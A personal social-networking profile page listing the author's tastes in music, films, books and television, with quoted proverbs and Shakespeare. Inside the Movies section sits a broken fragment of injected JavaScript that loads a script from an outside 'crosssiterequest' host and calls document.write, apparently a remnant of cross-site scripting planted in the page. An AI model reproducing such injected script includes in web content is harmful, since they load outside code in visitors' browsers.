About Me

My Interests

honesty, music, winter, photography, skating, bellydancing, musclecars, writing, snowboarding, radio, animals...
isn't that enough?

Oh oh oh -- I love renaissance faires almost as much as roadtrips & rock shows.

I'd like to meet:

Unfortunately, I've met everyone I'd ever idolized
with the exception of one incredible singer,
Ray Gillen -- what an amazing set of pipes! --
only to find that most were not worth the wanting.

Be Humble for you are made of earth;
Be Noble for you are made of stars.
-- Serbian proverb

I can not abide arrogance. Attitude, I'm all about!

Your mission, should you choose to accept it:

Be worth meeting... on any level...

make me want to... think/laugh/cry/SCREAM...

Ceremony was but devised at first to set a gloss
on faint deeds, hollow welcomes, recanting goodness,

sorry ere 'tis shown;

but where there is true friendship,
there needs none.
-- W. Shakespeare

Clues as to who and what is important to me...

Here are some really cool people/pages. Some have projects linked to their photos.
Others just deserve to be recognized for providing smiles.

Music:

Life's blood...

I listen to nearly everything... love the metal I grew up on... rockabilly and lounge are my guilty pleasures... progressive rock/metal, blues, punk, psychobilly, garage, folk, classical... not much tolerance for djs/rap/techno/hip hop...

HUMAN rhythm sections, please...

Movies:

This Is Spinal Tap, The Princess Bride, Twin Peaks / Fire Walk With Me, The Lost Boys, The Fisher King, all things Depp... and old horror movies...
oh, yeah,... and anything Tim Burton or Monty Python! .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("..1...{}");}..

Television:

I don't watch TV much... no time... or interest. I'd rather be out catching live music, hanging with friends... or reading a book.

You know what I do really love though?

The old animated Christmas specials...
I love "Jack Frost,"
"The Life and Adventures of Santa Claus," and
"The Year Without A Santa Claus."

Books:

The Picture Of Dorian Gray -- anything by Wilde ROCKS!; Where The Wild Things Are -- my mostest bestest favoritest book from childhood; The Chronicles Of Narnia; loved Bloom County way back when... does that count?; all things Shakespeare

Heroes:

all my true friends --
the family I chose to have who chose to have me... Did you really just read all that?!
Damn, I thought I was lame for typing it!!!..
